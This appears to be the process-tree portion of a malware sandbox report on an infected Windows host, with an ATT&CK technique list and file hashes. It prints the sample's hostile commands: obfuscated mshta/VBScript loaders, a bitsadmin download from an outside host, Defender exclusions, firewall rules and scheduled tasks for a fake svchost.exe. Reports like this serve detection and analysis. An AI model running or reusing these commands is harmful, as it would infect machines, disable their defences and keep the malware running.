"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --field-trial-handle=1728,4290137781507861926,6125757033430813317,131072 --gpu-preferences=SAAAAAAAAADgAAAwAAAAAAAAAAAAAAAAAABgAAAAAAAoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB4AAAAAAAAAHgAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAAIAAAAAAAAAAgAAAAAAAAA --mojo-platform-channel-handle=1740 /prefetch:2
6⤵
PID:3476

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1728,4290137781507861926,6125757033430813317,131072 --lang=en-US --extension-process --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=4 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3408 /prefetch:1
6⤵
PID:9012

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1728,4290137781507861926,6125757033430813317,131072 --lang=en-US --extension-process --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3592 /prefetch:1
6⤵
PID:6124

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1728,4290137781507861926,6125757033430813317,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=4528 /prefetch:8
6⤵
PID:3608

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1728,4290137781507861926,6125757033430813317,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=1904 /prefetch:8
6⤵
PID:3672

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1728,4290137781507861926,6125757033430813317,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5116 /prefetch:8
6⤵
PID:3236

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --field-trial-handle=1728,4290137781507861926,6125757033430813317,131072 --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=5140 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.15063.0 --gpu-preferences=SAAAAAAAAADoAAAwAAAAAAAAAAAAAAAAAABgAAAQAAAoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB4AAAAAAAAAHgAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAAIAAAAAAAAAAgAAAAAAAAA --mojo-platform-channel-handle=5032 /prefetch:2
6⤵
PID:8392

C:\Users\Admin\Pictures\Adobe Films\i62B7Y0Jqz60sl5AIVOy2A2Q.exe
"C:\Users\Admin\Pictures\Adobe Films\i62B7Y0Jqz60sl5AIVOy2A2Q.exe"
4⤵
PID:7444

C:\Windows\SysWOW64\mshta.exe
"C:\Windows\System32\mshta.exe" vbsCrIPT:cLoSE( CrEaTeoBJeCt( "WscRIpT.sHElL" ).Run ( "cmd /R cOpY /Y ""C:\Users\Admin\Pictures\Adobe Films\i62B7Y0Jqz60sl5AIVOy2A2Q.exe"" ..\kPBhgOaGQk.exe&& sTart ..\kPBhgOAGQK.ExE /PLQtzfgO0m8dRv4iYALOqi &If """" == """" for %M in (""C:\Users\Admin\Pictures\Adobe Films\i62B7Y0Jqz60sl5AIVOy2A2Q.exe"" ) do taskkill -f -iM ""%~NxM"" ", 0 , truE) )
5⤵
PID:7876

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /R cOpY /Y "C:\Users\Admin\Pictures\Adobe Films\i62B7Y0Jqz60sl5AIVOy2A2Q.exe" ..\kPBhgOaGQk.exe&&sTart ..\kPBhgOAGQK.ExE /PLQtzfgO0m8dRv4iYALOqi &If ""=="" for %M in ("C:\Users\Admin\Pictures\Adobe Films\i62B7Y0Jqz60sl5AIVOy2A2Q.exe" ) do taskkill -f -iM "%~NxM"
6⤵
PID:5496

C:\Windows\System32\Conhost.exe
\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
7⤵
PID:5000

C:\Users\Admin\AppData\Local\Temp\kPBhgOaGQk.exe
..\kPBhgOAGQK.ExE /PLQtzfgO0m8dRv4iYALOqi
7⤵
PID:8368

C:\Windows\SysWOW64\mshta.exe
"C:\Windows\System32\mshta.exe" vbsCrIPT:cLoSE( CrEaTeoBJeCt( "WscRIpT.sHElL" ).Run ( "cmd /R cOpY /Y ""C:\Users\Admin\AppData\Local\Temp\kPBhgOaGQk.exe"" ..\kPBhgOaGQk.exe&& sTart ..\kPBhgOAGQK.ExE /PLQtzfgO0m8dRv4iYALOqi &If ""/PLQtzfgO0m8dRv4iYALOqi "" == """" for %M in (""C:\Users\Admin\AppData\Local\Temp\kPBhgOaGQk.exe"" ) do taskkill -f -iM ""%~NxM"" ", 0 , truE) )
8⤵
PID:8680

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /R cOpY /Y "C:\Users\Admin\AppData\Local\Temp\kPBhgOaGQk.exe" ..\kPBhgOaGQk.exe&&sTart ..\kPBhgOAGQK.ExE /PLQtzfgO0m8dRv4iYALOqi &If "/PLQtzfgO0m8dRv4iYALOqi "=="" for %M in ("C:\Users\Admin\AppData\Local\Temp\kPBhgOaGQk.exe" ) do taskkill -f -iM "%~NxM"
9⤵
PID:8888

C:\Windows\SysWOW64\mshta.exe
"C:\Windows\System32\mshta.exe" VbScRIpt:CLosE ( cReAteobjEcT("wscRiPt.SheLl" ). RUn ("C:\Windows\system32\cmd.exe /R EcHO UwC:\Users\Admin\AppData\Local\TempNnML~>TRMBiI66.CU & EcHo | Set /P = ""MZ"" > hKS2IU.1Q & COPY /b /Y hKs2Iu.1Q + 9BU~.W + MyBa.V + 1W8lBDVH.AOu +WCWfZ1TN.MJ+ WCBG6.QA + tRMBII66.CU ..\LXQ2G.WC & Del /q *& starT msiexec -Y ..\lXQ2g.WC " , 0, tRUE) )
8⤵
PID:8804

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\system32\cmd.exe" /R EcHO UwC:\Users\Admin\AppData\Local\TempNnML~>TRMBiI66.CU & EcHo | Set /P = "MZ" >hKS2IU.1Q & COPY /b /Y hKs2Iu.1Q + 9BU~.W + MyBa.V +1W8lBDVH.AOu +WCWfZ1TN.MJ+ WCBG6.QA + tRMBII66.CU ..\LXQ2G.WC& Del /q *&starT msiexec -Y ..\lXQ2g.WC
9⤵
PID:9116

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /S /D /c" EcHo "
10⤵
PID:6344

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /S /D /c" Set /P = "MZ" 1>hKS2IU.1Q"
10⤵
PID:7336

C:\Windows\SysWOW64\msiexec.exe
msiexec -Y ..\lXQ2g.WC
10⤵
PID:4976

C:\Windows\SysWOW64\taskkill.exe
taskkill -f -iM "i62B7Y0Jqz60sl5AIVOy2A2Q.exe"
7⤵
- Kills process with taskkill
PID:8740

C:\Users\Admin\Pictures\Adobe Films\1qu4T1rK0oMecKlNEFewJyJZ.exe
"C:\Users\Admin\Pictures\Adobe Films\1qu4T1rK0oMecKlNEFewJyJZ.exe"
4⤵
PID:5824

C:\Users\Admin\Pictures\Adobe Films\AIZzNnM4hQ0_lsnIfxbb5EGV.exe
"C:\Users\Admin\Pictures\Adobe Films\AIZzNnM4hQ0_lsnIfxbb5EGV.exe" /mixtwo
4⤵
PID:7632

C:\Users\Admin\Pictures\Adobe Films\85BlRpHQmJ68vRJpml8MT8vu.exe
"C:\Users\Admin\Pictures\Adobe Films\85BlRpHQmJ68vRJpml8MT8vu.exe"
4⤵
PID:6480

C:\Users\Admin\Pictures\Adobe Films\I4u5q8uRCkl4alMiOw9Awm6T.exe
"C:\Users\Admin\Pictures\Adobe Films\I4u5q8uRCkl4alMiOw9Awm6T.exe"
4⤵
PID:4488

C:\Users\Admin\Pictures\Adobe Films\E0nWU0fKdAbsOI1HDzxe2f_S.exe
"C:\Users\Admin\Pictures\Adobe Films\E0nWU0fKdAbsOI1HDzxe2f_S.exe"
4⤵
PID:4712

C:\Users\Admin\AppData\Local\Temp\is-DCPU1.tmp\E0nWU0fKdAbsOI1HDzxe2f_S.tmp
"C:\Users\Admin\AppData\Local\Temp\is-DCPU1.tmp\E0nWU0fKdAbsOI1HDzxe2f_S.tmp" /SL5="$1062A,506127,422400,C:\Users\Admin\Pictures\Adobe Films\E0nWU0fKdAbsOI1HDzxe2f_S.exe"
5⤵
PID:7844

C:\Users\Admin\AppData\Local\Temp\is-6A94J.tmp\ShareFolder.exe
"C:\Users\Admin\AppData\Local\Temp\is-6A94J.tmp\ShareFolder.exe" /S /UID=2709
6⤵
PID:8496

C:\Users\Admin\AppData\Local\Temp\a5-75b2f-f10-d81a7-ecd3bcfdef6e3\Caemetizhyki.exe
"C:\Users\Admin\AppData\Local\Temp\a5-75b2f-f10-d81a7-ecd3bcfdef6e3\Caemetizhyki.exe"
7⤵
PID:1152

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\ubsv4hos.qlw\GcleanerEU.exe /eufive & exit
8⤵
PID:356

C:\Users\Admin\AppData\Local\Temp\ubsv4hos.qlw\GcleanerEU.exe
C:\Users\Admin\AppData\Local\Temp\ubsv4hos.qlw\GcleanerEU.exe /eufive
9⤵
PID:8728

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\kcnpisfr.jmb\installer.exe /qn CAMPAIGN="654" & exit
8⤵
PID:5500

C:\Users\Admin\AppData\Local\Temp\kcnpisfr.jmb\installer.exe
C:\Users\Admin\AppData\Local\Temp\kcnpisfr.jmb\installer.exe /qn CAMPAIGN="654"
9⤵
PID:3116

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\l020vms2.05v\any.exe & exit
8⤵
PID:8852

C:\Users\Admin\AppData\Local\Temp\l020vms2.05v\any.exe
C:\Users\Admin\AppData\Local\Temp\l020vms2.05v\any.exe
9⤵
PID:7688

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\yqfnen55.cyc\gcleaner.exe /mixfive & exit
8⤵
PID:4420

C:\Users\Admin\AppData\Local\Temp\yqfnen55.cyc\gcleaner.exe
C:\Users\Admin\AppData\Local\Temp\yqfnen55.cyc\gcleaner.exe /mixfive
9⤵
PID:7136

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\xc2sat20.h35\autosubplayer.exe /S & exit
8⤵
PID:1672

C:\Users\Admin\AppData\Local\Temp\xc2sat20.h35\autosubplayer.exe
C:\Users\Admin\AppData\Local\Temp\xc2sat20.h35\autosubplayer.exe /S
9⤵
PID:4984

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nsmEA0E.tmp\tempfile.ps1"
10⤵
PID:9136

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nsmEA0E.tmp\tempfile.ps1"
10⤵
PID:4464

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nsmEA0E.tmp\tempfile.ps1"
10⤵
PID:8864

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nsmEA0E.tmp\tempfile.ps1"
10⤵
PID:9628

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nsmEA0E.tmp\tempfile.ps1"
10⤵
PID:7608

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nsmEA0E.tmp\tempfile.ps1"
10⤵
PID:1348

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nsmEA0E.tmp\tempfile.ps1"
10⤵
PID:1472

C:\Windows\SysWOW64\bitsadmin.exe
"bitsadmin" /Transfer helper http://fscloud.su/data/data.7z C:\zip.7z
10⤵
- Download via BitsAdmin
PID:9632

C:\Windows\SysWOW64\schtasks.exe
schtasks /create /f /RU "Admin" /tr "C:\Program Files (x86)\PowerControl\PowerControl_Svc.exe" /tn "PowerControl LG" /sc ONLOGON /rl HIGHEST
3⤵
- Creates scheduled task(s)
PID:7292

C:\Windows\SysWOW64\schtasks.exe
schtasks /create /f /RU "Admin" /tr "C:\Program Files (x86)\PowerControl\PowerControl_Svc.exe" /tn "PowerControl HR" /sc HOURLY /rl HIGHEST
3⤵
- Creates scheduled task(s)
PID:7284

C:\Users\Admin\Pictures\Adobe Films\K5RFEPFggx0R6jJVqx58zknj.exe
"C:\Users\Admin\Pictures\Adobe Films\K5RFEPFggx0R6jJVqx58zknj.exe"
2⤵
PID:4120

C:\Users\Admin\Pictures\Adobe Films\gs30MJOixO05yBUXDss8H5UO.exe
"C:\Users\Admin\Pictures\Adobe Films\gs30MJOixO05yBUXDss8H5UO.exe"
2⤵
PID:6244

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath c:\windows\
3⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
PID:4848

C:\Windows\System32\netsh.exe
"C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="SvcHostX" dir=out action=allow program="C:\Windows\System\svchost.exe" enable=yes
3⤵
PID:7572

C:\Windows\System\svchost.exe
"C:\Windows\System\svchost.exe" formal
3⤵
PID:7652

C:\Windows\SYSTEM32\schtasks.exe
schtasks /create /sc minute /ED "11/02/2024" /mo 7 /tn "Timer" /tr c:\windows\system\svchost.exe /ru SYSTEM
3⤵
- Creates scheduled task(s)
PID:7584

C:\Windows\System32\netsh.exe
"C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="SvcHostX" dir=in action=allow program="C:\Windows\System\svchost.exe" enable=yes
3⤵
PID:7512

C:\Users\Admin\AppData\Local\Temp\setup.exe
"C:\Users\Admin\AppData\Local\Temp\setup.exe" /SILENT
1⤵
PID:4576

C:\Users\Admin\AppData\Local\Temp\is-UJ3I2.tmp\setup.tmp
"C:\Users\Admin\AppData\Local\Temp\is-UJ3I2.tmp\setup.tmp" /SL5="$402E4,140785,56832,C:\Users\Admin\AppData\Local\Temp\setup.exe" /SILENT
2⤵
PID:5472

C:\Users\Admin\AppData\Local\Temp\is-P4F8U.tmp\postback.exe
"C:\Users\Admin\AppData\Local\Temp\is-P4F8U.tmp\postback.exe" ss1
3⤵
PID:5420

C:\Windows\system32\rundll32.exe
rundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global
1⤵
- Process spawned unexpected child process
PID:3668

C:\Windows\SysWOW64\rundll32.exe
rundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global
2⤵
PID:5556

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k SystemNetworkService
1⤵
PID:5428

C:\Windows\system32\DllHost.exe
C:\Windows\system32\DllHost.exe /Processid:{AB8902B4-09CA-4BB6-B78D-A8F59079A8D5}
1⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of SetWindowsHookEx
PID:5084

C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe
"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe" -ServerName:MicrosoftEdge.AppXdnhjhccw3zf0j06tkg3jtqr00qdm0khc.mca
1⤵
PID:3932

C:\Windows\system32\browser_broker.exe
C:\Windows\system32\browser_broker.exe -Embedding
1⤵
PID:3428

C:\Windows\system32\msiexec.exe
C:\Windows\system32\msiexec.exe /V
1⤵
PID:356

C:\Windows\syswow64\MsiExec.exe
C:\Windows\syswow64\MsiExec.exe -Embedding 9B3C3EF10B20E0F4A92B6563663E7F2E C
2⤵
PID:7140

C:\Windows\syswow64\MsiExec.exe
C:\Windows\syswow64\MsiExec.exe -Embedding D3B9AC43693743CA686FBE16D7561442
2⤵
PID:10036

C:\Windows\SysWOW64\taskkill.exe
"C:\Windows\SysWOW64\taskkill.exe" /im AdvancedWindowsManager* /f
3⤵
- Kills process with taskkill
PID:4380

C:\Windows\syswow64\MsiExec.exe
C:\Windows\syswow64\MsiExec.exe -Embedding 966A487D13E58C6619D450FDCF8825A7 E Global\MSI0000
2⤵
PID:5596

C:\Windows\syswow64\MsiExec.exe
C:\Windows\syswow64\MsiExec.exe -Embedding 065CFDDACB9C44A2415362D0F94E4DEF C
2⤵
PID:7284

C:\Windows\syswow64\MsiExec.exe
C:\Windows\syswow64\MsiExec.exe -Embedding 762984BFC11A52485A59CB75C8FCC44C
2⤵
PID:7712

C:\Users\Admin\AppData\Roaming\Graphic-Region Development\Editor Plus Tools\meditorplus.exe
"C:\Users\Admin\AppData\Roaming\Graphic-Region Development\Editor Plus Tools\meditorplus.exe"
2⤵
PID:1308

C:\ProgramData\RHUI449HTYG47BAD.exe
"C:\ProgramData\RHUI449HTYG47BAD.exe"
3⤵
PID:6388

C:\Windows\SysWOW64\msiexec.exe
"C:\Windows\system32\msiexec.exe" /i "C:\Users\Admin\AppData\Roaming\Wondershare\Wondershare Helper Studio 2.5.3.6\install\CDF73DB\adv.msi" AI_SETUPEXEPATH=C:\ProgramData\RHUI449HTYG47BAD.exe SETUPEXEDIR=C:\ProgramData\ EXE_CMD_LINE="/exenoupdates /forcecleanup /wintime 1634055552 " AI_EUIMSI=""
4⤵
PID:2144

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /c taskkill /im meditorplus.exe /f & timeout /t 6 & del /f /q "C:\Users\Admin\AppData\Roaming\Graphic-Region Development\Editor Plus Tools\meditorplus.exe" & del C:\ProgramData\*.dll & exit
3⤵
PID:4144

C:\Windows\SysWOW64\taskkill.exe
taskkill /im meditorplus.exe /f
4⤵
- Kills process with taskkill
PID:6588

C:\Windows\syswow64\MsiExec.exe
C:\Windows\syswow64\MsiExec.exe -Embedding 28A173A49E84F2E7521FF9AD02684847 C
2⤵
PID:8788

C:\Windows\syswow64\MsiExec.exe
C:\Windows\syswow64\MsiExec.exe -Embedding 160687D04D4681A49AC84EDC30CDF7FD
2⤵
PID:1860

C:\Users\Admin\AppData\Roaming\Wondershare\Wondershare Helper Studio\WSHelper.exe
"C:\Users\Admin\AppData\Roaming\Wondershare\Wondershare Helper Studio\WSHelper.exe"
2⤵
PID:9932

C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
1⤵
PID:6328

C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
1⤵
PID:6232

C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
1⤵
PID:10160

C:\Users\Admin\AppData\Local\Temp\6D17.exe
C:\Users\Admin\AppData\Local\Temp\6D17.exe
1⤵
PID:9764

C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
1⤵
PID:10080

C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
1⤵
PID:8940

C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
1⤵
PID:7776

C:\Windows\system32\rundll32.exe
rundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global
1⤵
- Process spawned unexpected child process
PID:8264

C:\Windows\SysWOW64\rundll32.exe
rundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global
2⤵
PID:3788

C:\Windows\system32\rundll32.exe
rundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global
1⤵
- Process spawned unexpected child process
PID:8640

C:\Windows\SysWOW64\rundll32.exe
rundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global
2⤵
PID:8956

C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
1⤵
PID:8688

\??\c:\windows\system\svchost.exe
c:\windows\system\svchost.exe
1⤵
PID:1328

C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
1⤵
PID:7472

C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
1⤵
PID:2252

C:\Users\Admin\AppData\Roaming\ajvbhhj
C:\Users\Admin\AppData\Roaming\ajvbhhj
1⤵
PID:7592

C:\Users\Admin\AppData\Roaming\ajvbhhj
C:\Users\Admin\AppData\Roaming\ajvbhhj
2⤵
PID:7388

C:\Users\Admin\AppData\Roaming\rivbhhj
C:\Users\Admin\AppData\Roaming\rivbhhj
1⤵
PID:6696

C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
1⤵
PID:2320

\??\c:\windows\system\svchost.exe
c:\windows\system\svchost.exe
1⤵
PID:8368

C:\Users\Admin\AppData\Local\Temp\1780.exe
C:\Users\Admin\AppData\Local\Temp\1780.exe
1⤵
PID:9484

C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
1⤵
PID:1348

C:\Users\Admin\AppData\Local\Temp\9B96.exe
C:\Users\Admin\AppData\Local\Temp\9B96.exe
1⤵
PID:4772

C:\Windows\SysWOW64\msiexec.exe
"C:\Windows\system32\msiexec.exe" /i "C:\Users\Admin\AppData\Roaming\Graphic-Region Development\Editor Plus Tools 3.0.0.0\install\4AAA569\adv.msi" AI_SETUPEXEPATH=C:\Users\Admin\AppData\Local\Temp\9B96.exe SETUPEXEDIR=C:\Users\Admin\AppData\Local\Temp\ EXE_CMD_LINE="/exenoupdates /forcecleanup /wintime 1634055552 " AI_EUIMSI=""
2⤵
PID:3720

C:\Users\Admin\AppData\Local\Temp\A9EE.exe
C:\Users\Admin\AppData\Local\Temp\A9EE.exe
1⤵
PID:1940

C:\Users\Admin\AppData\Local\Temp\B50B.exe
C:\Users\Admin\AppData\Local\Temp\B50B.exe
1⤵
PID:4584

C:\Users\Admin\AppData\Local\Temp\C7D9.exe
C:\Users\Admin\AppData\Local\Temp\C7D9.exe
1⤵
PID:5304

C:\Users\Admin\AppData\Local\Temp\C7D9.exe
"C:\Users\Admin\AppData\Local\Temp\C7D9.exe"
2⤵
PID:3200

C:\Users\Admin\AppData\Local\Temp\C7D9.exe
"C:\Users\Admin\AppData\Local\Temp\C7D9.exe"
2⤵
PID:5024

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp\C7D9.exe"
2⤵
PID:9136

C:\Users\Admin\AppData\Local\Temp\E073.exe
C:\Users\Admin\AppData\Local\Temp\E073.exe
1⤵
PID:8016

C:\Users\Admin\AppData\Local\Temp\1918.exe
C:\Users\Admin\AppData\Local\Temp\1918.exe
1⤵
PID:8140

C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
1⤵
PID:1248

C:\Users\Admin\AppData\Local\Temp\7A20.exe
C:\Users\Admin\AppData\Local\Temp\7A20.exe
1⤵
PID:9812

C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe"
2⤵
PID:704

C:\Users\Admin\AppData\Local\Temp\84EE.exe
C:\Users\Admin\AppData\Local\Temp\84EE.exe
1⤵
PID:9660

C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe"
2⤵
PID:8956

C:\Windows\SysWOW64\explorer.exe
C:\Windows\SysWOW64\explorer.exe
1⤵
PID:6480

C:\Windows\explorer.exe
C:\Windows\explorer.exe
1⤵
PID:688

C:\Windows\SysWOW64\explorer.exe
C:\Windows\SysWOW64\explorer.exe
1⤵
PID:6412

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Scheduled Task

T1053

Persistence

Modify Existing Service

T1031

Scheduled Task

T1053

BITS Jobs

T1197

Privilege Escalation

Scheduled Task

T1053

Defense Evasion

BITS Jobs

T1197

Credential Access

Credentials in Files

T1081

Discovery

Query Registry

T1012

System Information Discovery

T1082

Peripheral Device Discovery

T1120

Lateral Movement

Collection

Data from Local System

T1005

Exfiltration

Command and Control

Web Service

T1102

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Google\Chrome\User Data\SwReporter\93.269.200\software_reporter_tool.exe
MD5
56b213ab01d46f2064880ec2dd95e3ea

SHA1
f0b392a3c53a0784f017499ec0f4c6d4ace721e3

SHA256
473d0f9cf295446f00f632ff7b291fe4dbca6ddf0fba50255546b8ab62fbc5e6

SHA512
0a61a809398deaab7ee5e18dcba733386a583659dd0d6e851d5cfbcf212e66f7434277cde71c6fbd19c11cdf1e78beea5787d361a15ad87cc1ce84b078278ca2

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\SwReporter\93.269.200\software_reporter_tool.exe
MD5
56b213ab01d46f2064880ec2dd95e3ea

SHA1
f0b392a3c53a0784f017499ec0f4c6d4ace721e3

SHA256
473d0f9cf295446f00f632ff7b291fe4dbca6ddf0fba50255546b8ab62fbc5e6

SHA512
